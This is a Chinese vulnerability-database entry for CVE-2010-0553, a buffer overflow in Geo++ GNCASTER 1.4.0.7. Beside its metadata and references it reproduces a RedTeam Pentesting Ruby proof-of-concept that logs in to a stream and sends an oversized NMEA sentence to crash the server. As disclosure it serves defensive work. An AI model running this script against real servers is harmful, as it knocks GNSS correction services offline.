Geopp Geo++ GNCASTER 拒绝服务攻击和任意代码执行漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1118944 漏洞类型 缓冲区溢出
发布时间 2010-01-27 更新时间 2010-01-27
CVE编号 CVE-2010-0553 CNNVD-ID CNNVD-201002-039
漏洞平台 Linux CVSS评分 6.5
|漏洞来源
https://www.exploit-db.com/exploits/33966
https://www.securityfocus.com/bid/40015
https://cxsecurity.com/issue/WLB-2010020163
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-201002-039
|漏洞详情
Geo++GNCASTER存在拒绝服务攻击和任意代码执行漏洞。远程攻击者可以借助一个长NMEA数值语句,导致拒绝服务(应用崩溃),也可能造成任意代码执行。
|漏洞EXP
source: http://www.securityfocus.com/bid/40015/info

Geo++ GNCASTER is prone to a denial-of-service vulnerability.

An attacker with valid login credentials can exploit this issue to cause the application to crash, resulting in a denial-of-service condition. Arbitrary code-execution may also be possible; this has not been confirmed.

Geo++ GNCASTER 1.4.0.7 is vulnerable; other versions may also be affected. 

-------------------------------------------------------------------
#!/usr/bin/env ruby
######################################
#                                    #
#  RedTeam Pentesting GmbH           #
#  kontakt () redteam-pentesting de     #
#  http://www.redteam-pentesting.de  #
#                                    #
######################################

require 'socket'
require 'base64'

if ARGV.length < 3 then
    puts "USAGE: %s host:port user:password stream" % __FILE__
    puts "Example: %s 127.0.0.1:2101 testuser:secret /0001" % __FILE__
    puts
    exit
end

host, port = ARGV[0].split(':')
pw, stream = ARGV[1..2]

begin
    puts "requesting stream %s" % stream.inspect
    sock = TCPSocket.new(host, port.to_i)
    sock.write("GET %s HTTP/1.1\r\n" % stream)
    sock.write("Authorization: Basic %s\r\n" % Base64.encode64(pw).strip)
    sock.write("\r\n")

    response = sock.readline

    puts "server response: %s" % response.inspect

    puts "sending modified nmea data"
    sock.write("$GP" + "A" * 2000 +
        "GGA,134047.00,5005.40000000,N,00839.60000000," +
        "E,1,05,0.19,+00400,M,47.950,M,,*69\r\n")
    puts "done"
end
-------------------------------------------------------------------
|受影响的产品
Geo++ GNCASTER 1.4.0.7
|参考资料

来源:XF
名称:gncaster-nmea-code-execution(55975)
链接:http://xforce.iss.net/xforce/xfdb/55975
来源:BUGTRAQ
名称:20100127[RT-SA-2010-002]Geo++(R)GNCASTER:InsecurehandlingofNMEA-data
链接:http://www.securityfocus.com/archive/1/archive/1/509197/100/0/threaded
来源:MISC
链接:http://www.redteam-pentesting.de/en/advisories/rt-sa-2010-002/-geo-r-gncaster-insecure-handling-of-nmea-data
来源:SECUNIA
名称:38323
链接:http://secunia.com/advisories/38323
来源:OSVDB
名称:62012
链接:http://osvdb.org/62012